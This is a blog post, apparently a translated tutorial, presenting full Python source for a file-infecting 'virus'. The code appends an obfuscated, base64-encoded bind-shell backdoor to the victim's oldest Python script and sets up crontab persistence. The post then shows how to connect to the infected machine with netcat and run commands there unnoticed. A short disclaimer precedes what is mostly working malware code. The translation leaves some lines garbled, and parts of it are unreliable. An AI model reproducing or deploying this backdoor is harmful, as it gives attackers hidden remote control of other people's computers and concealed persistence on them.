Write a Python "virus"

Posted by Yossarian on Wed, 12 Jan 2022 13:14:43 +0100

Today's article shows a python "virus", which infects other Python files to create a back door. The back door uses Python's built-in socket module to create a listener to connect to Python's built-in sub process module to execute commands on the target. At the same time, it also establishes persistence by creating a cronjob to run the back door at a fixed time every day. Finally, the complete Python script is included at the end of this article.

Note: do not use the Python scripts provided in this article for malicious purposes. Although it is not advanced, with some modifications, it can give full control of someone's computer. The main purpose of this paper is to better understand how hackers obtain normal programs and make them malicious programs through these scripts.

Don't say much. Let's start.

1. Establish communication

The most important part of any back door is to establish communication. Now, let's write a piece of code for backdoor access. Connect to the target through TCP, and we use the socket module to listen for hackers' connection requests. In the socket module, there is a function called socket, which we can use to create TCP or UDP sockets. Using socket When the socket function creates a socket, we need to provide two parameters to specify the IP version and layer 4 protocol we want to use. In this Python script, we will pass in the following parameters: socket AF_ INET and socket SOCK_ STREAM.

  • AF_INET: specify IPv4
  • SOCK_STREAM: specify TCP instead of UDP.
  • socket. The socket function returns an object that consists of a method that finally determines whether the socket being created is listening on the socket (server) or connecting to the socket (client). To create a listening socket, you need to use the following methods:
  • Bind > bind IP address and port to network interface
  • Listen > instructs our socket to start listening for incoming connections
  • Accept > accept incoming connections
  • Recv > receive data from connected clients
  • Send > send data to connected clients

However, the most important methods are recv and send. The recv method will receive commands from the attacker, using subprocess The run function executes them on the victim's system and redirects the standard output of the executed command to the TCP connection established with the attacker. Here is the Python code:

from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit


def serve():
    with socket(AF_INET, SOCK_STREAM) as soc:
        # [*] The obfuscated values are just the IP address and port to bind to
        soc.bind((ip, port))
        soc.listen(5)
        while True:
            conn, _ = soc.accept()
            while True:
                cmd = conn.recv(1024).decode("utf-8").strip()
                cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
                if cmd_output.returncode == 0:
                    conn.send(bytes(cmd_output.stdout))
                else:
                    continue

serve()

2. Infection target Python file

This program traverses the specified directory (preferably the user's home directory) and finds the python script with the earliest modification time. This is a test, so instead of infecting all Python files, only the files with the earliest modification time are infected. Infecting a python file is enough to control the target.

def MTRkYmNubWx(self):
    YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
    for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
        for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
            if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
                continue
            eHhtbG1vZGF0 = stat(f).st_mtime
            ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
            if not self.Z2hhenh4ZGwK:
                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
            elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
    self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

Some variables in the above code are confused and difficult to understand. In fact, it is very simple to use the walk and stat functions defined in the os module to traverse the directory files and obtain their modification time. The modification time of each file obtained is converted to datetime Datetime object so that we can easily compare dates using operators such as > < and = =. At the end of this function, the selected target Python file name is passed to the function into which the backdoor server code is injected.

3. Persistence through crontab tasks

The last function of this Python backdoor uses subprocess The run function calls a Linux shell command that creates an entry in the current user's crontab file. This entry specifies that the scheduled cronjob should run at 14:00 every day. The shell commands corresponding to adding crontab are as follows:

echo '00 14 * * * file_name | crontab -

4. Final complete code

#!/usr/bin/env python3
from os.path import expanduser
from os import walk, stat
from sys import path
from glob import glob
from platform import system
from base64 import b64encode, b64decode
from subprocess import run, PIPE
from datetime import datetime


class eHhjemR5eXB:
    def __init__(self, cHlkYWNhZWFpa):
        self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
        self.bGpqZ2hjen = system()
        self.aWFmYXRye = "0.0.0.0"
        self.ZmFsa2p0aGM = 0x401
        self.Z2hhenh4ZGwK = None

    def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
        YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
        YWxmanRob += b"\nfrom subprocess import run, PIPE"
        YWxmanRob += b"\ndef serve():"
        YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
        YWxmanRob += bytes(
            f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
        )
        YWxmanRob += b"\n\t\tsoc.listen(5)"
        YWxmanRob += b"\n\t\twhile True:"
        YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
        YWxmanRob += b"\n\t\t\twhile True:"
        YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
        YWxmanRob += (
            b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
        )
        YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
        YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
        YWxmanRob += b"\n\t\t\t\telse: continue"
        YWxmanRob += b"\nserve()"

        YWxmanRob_base64 = b64encode(YWxmanRob)
        cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
        cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
        cXBxZXJjYQ += 'exec(a2b_base64('{}'))" &""",shell=True)'.format(
            YWxmanRob_base64.decode()
        )

        with open(dGR6eGFteXBxC, "a") as f:
            f.write(cXBxZXJjYQ)
        self.ZmFsa2p0aGM += 1

    def MTRkYmNubWx(self):
        YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
        for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
            for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
                if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
                    continue
                eHhtbG1vZGF0 = stat(f).st_mtime
                ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
                if not self.Z2hhenh4ZGwK:
                    self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
                elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
                    self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
        self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

    def YWZhdGhjCg(self):
        if self.bGpqZ2hjen == "Linux":
            run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)


if __name__ == "__main__":
    # For traversing the user's home directory
    # aGdsZGFx = expanduser('~')
    # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
    YmNjLGFka2x = eHhjemR5eXB("./test")
    YmNjLGFka2x.MTRkYmNubWx()
    YmNjLGFka2x.YWZhdGhjCg()

After the target executes the code, it will be infected/ For the earliest modified file (target file) in the test directory, these two lines of code will be automatically added at the end of the target file:

from subprocess import run
run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG

Is it very hidden?

5. Access the back door

For testing, we manually execute the infected file instead of waiting for crontab.

~ # crontab -l
37 13 * * * /root/transferfile/transfile_interface.py
~ # cd transferfile/
~/transferfile # python transfile_interface.py
~/transferfile # 

The program ended normally without any exception. Then use nc localhost 1025 to bounce a shell, execute ls here, and whoami is the target information:

The localhost shown here is the target, and the real scene is the ip address of the target. Now the target plane has been completely controlled, and the victim is completely unaware.

6. Last words

Now, you have learned how to use the python programming language to create a persistent back door, how to use Python's socket module, how to traverse directories, and how to create crontab tasks. If you want to infect a real target, you have to learn how to distribute this backdoor program. It is not discussed here.

If you have any harvest, please like, watch and forward. Thank you for your reading and support.

Topics: Python Back-end